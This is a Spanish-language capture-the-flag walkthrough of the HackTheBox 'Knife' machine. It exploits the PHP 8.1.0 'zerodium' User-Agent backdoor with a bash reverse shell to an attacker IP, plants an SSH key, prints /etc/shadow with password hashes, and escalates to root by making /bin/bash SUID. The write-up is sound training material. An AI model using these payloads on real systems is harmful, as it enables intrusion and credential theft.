Titulo: HackTheBox - Knife Writeup |
Fecha: 2021-06-09 |
Descripcion: Enumearacion - PHP - SSH |
HackTheBox - Knife Writeup
## Ping:
ping -c1 10.10.10.242
Mediante el comando ping vamos a trazar una ruta ICMP para ver si la maquina esta activa y ante que tipo de sistema operativo estamos
Podemos ver que la respuesta del ttl es 63 , el TTL en maquinas Linux es 64 y en maquinas Windows 128 , en este caso es 63 porque pasa por un nodo intermediario.
## Enumeracion de Puertos:
Ahora vamos a proceder a ver que servicios tiene esta maquina abiertos para ello vamos a realizar una enumeracion de puertos:
Vamos a ver que tiene los siguientes puertos abiertos:
-Puerto 22 SSH
-Puerto 80 HTTP
## HTTP:
Vamos a proceder a ver si estamos ante un gestor de contenidos como puede ser (Wordpress, Joomla) para ello vamos a usar la herramienta WhatWeb
whatweb 10.10.10.242
Podemos ver que estamos ante un servidor Apache en su version 2.4.41 y ante la version de PHP 8.1.0 , podemos buscar si alguna de estas dos versiones tiene alguna vulnerabilidad
Si procedemos a ver la pagina web nos encontramos ante una pagina web de un hospital
Si buscamos si alguna version de las anteriores es vulnerable vamos a ver que PHP 8.1.0 es vulnerable a Remote Code Execution , por lo que vamos a tener capacidad de Ejecucion de Codigo Remoto
## Explotacion PHP - User Agent:
Esta vulnerabilidad esta basada en las cabeceras del User Agent , que vamos a poder ser capaces de poder ejecutar comandos , para ello vamos hacer una prueba mediante curl y pasandole como parametro de sistema un comando id
Podemos ver que en las cabeceras nos devuelve el resultado de la ejecucion del comando id , y nos devuelve que es el usuario "james" , ya tenemos un usuario potencial para poder acceder al servicio ssh
Para mayor comodidad vamos a proceder a usar la herramienta Burp Suite para capturar la peticion de la pagina web y lo enviaremos al Repeater , donde para realizar otra prueba vamos a intentar realizar una operacion matematica
Mediante el User Agent le vamos a pasar como parametro que nos dumpee el resultado de 2x3 , si le damos a enviar la peticion , vamos a poder ver el resultado en la respuesta del servidor.
Como podemos ver tenemos ejecucion remota de comandos , por lo que va a ser tan facil como ejecutar una shell reversa a nuestro equipo para obtener acceso a la maquina
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.50/443 0>&1'");
Y nos vamos a poner a la escucha mediante Netcat por el puerto 443, cuando enviemos la peticion mediante Burp Suite obtendremos la shell reversa
## User.txt:
Una vez tenemos acceso a la maquina ya podemos visualizar el flag del usuario
## SSH:
Ahora nos queda visualizar la flag de root , para ello necesitamos escalar privilegios del usuario james al usuario , podemos probar si tenemos permiso para crear una llave de clave publica mediante ssh , para ello vamos a dirigirnos al directorio .shh
ssh-keygen
Vamos a poder generar una nueva clave publica para poder acceder mediante ssh
Procedemos a agregar id_rsa.pub dentro de el fichero authorized_keys que debemos crear pasandole como usuario permitido el usuario que tengamos en nuestra maquina atacante
Ahora ya solo nos queda copiar el id_rsa a la maquina atacante , asignarle los permisos necesarios:
sudo chmod 600 id_rsa
ssh -i id_rsa james@10.10.10.242
## Escalada de Privilegios:
Una vez tenemos acceso mediante SSH a la maquina , vamos a lanzar el comando sudo -l en busca de algun proceso con permisos SUID
sudo -l
Podemos ver que como el usuario root podemos ejecutar un binario llamado "knife" , si nos vamos a ese directorio vamos a ver que tiene un enlace simbolico que apunta a /opt/chef-workstation
Si listamos el directorio /opt/chef-workstation , tiene pinta que es el direcotrio de instalacion de ruby
Podemos ejecutar archivos y comandos de /usr/bin/knife ruby sin el comando ruby , por eso no podemos ejecutar el archivo "ex.rb" que esta en el directorio de James
Por lo que vamos a ejecutar el fichero ex.rb
cd /home/james
sudo /usr/bin/knife exec ex.rb
root:$6$LCKz7Uz/FuWPPJ6o$LaOquetpLJIhOzr7YwJzFPX4NdDDHokHtUz.k4S1.CY7D/ECYVfP4Q5eS43/PMtsOa5up1ThgjB3.xUZsHyHA1:18754:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18753:0:99999:7:::
sshd:*:18753:0:99999:7:::
systemd-coredump:!!:18753::::::
james:$6$S4BgtW0nZi/8w.C0$pREFaCmQmAue0cm6eTgvF.vFdhsIdTr5q6PdrMVNCw4hc7TmlSqAcgMz0yOBG7mT6GcoH9gGbo.zLLG/VeT31/:18754:0:99999:7:::
lxd:!:18753::::::
opscode:!:18754::::::
opscode-pgsql:!:18754::::::
james@knife:~$
Podemos ver que podemos obtener permisos de root ya que hemos podido visualizar el fichero /etc/shadow donde se encuentra las contraseñas hasheadas
Si creamos un fichero en ruby que nos conceda una consola bash tendriamos esa terminal con permisos de root
echo "system('chmod +s /bin/bash')" > guarina0x0.rb
Vamos a comprobar que se ha creado el fichero ruby
Ahora solo nos queda ejecutar ese fichero que hemos creado
Ya tendriamos la maquina explotada!!!